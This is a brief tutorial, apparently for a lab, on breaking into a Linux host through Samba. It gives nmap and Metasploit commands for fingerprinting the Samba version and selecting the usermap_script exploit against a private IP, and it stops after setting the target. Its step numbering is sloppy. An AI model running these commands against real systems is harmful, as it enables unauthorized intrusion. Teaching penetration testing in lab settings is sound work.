Hacking and Gaining Access to Linux by Exploiting SAMBA Service
Step 1) First, we need to find out the ports and services running on the target system. To find the open ports and services, the command is:
Command: nmap -sS -Pn -A 192.168.2.142
Step 2: Once you find the open ports and service like the samba port and service ready, get set for sending an exploit through that port to create a meterpreter session. To perform this attack, you need to open metasploit.
Step 3: Once you open metasploit, first we need to find the version of samba
Command: –msf> search scanner/samba
(This command used to finding the scanner parameter to find samba version)
Step 3: Once you find the scanners to find the samba version of the target, use the scanner parameter.
Command: msf> use auxiliary/scanner/smb/smb_version
(This command is used to set the scanner parameter)
Command 2: msfauxiliary(smb_version) > set RHOSTS 192.168.2.142
(This command is used to set the IPaddress of the remote host of which you need to find the version)
Command 3: exploit
Step 3: After finding the samba version, perform an attack and gain access to the linux system with the help of the Meterpertersession
Command: msf> use exploit/multi/samba/usermap_script
This is the exploit that we need to select to gain access to system
Command: msf exploit(usermap_script) > set RHOST 192.168.2.142
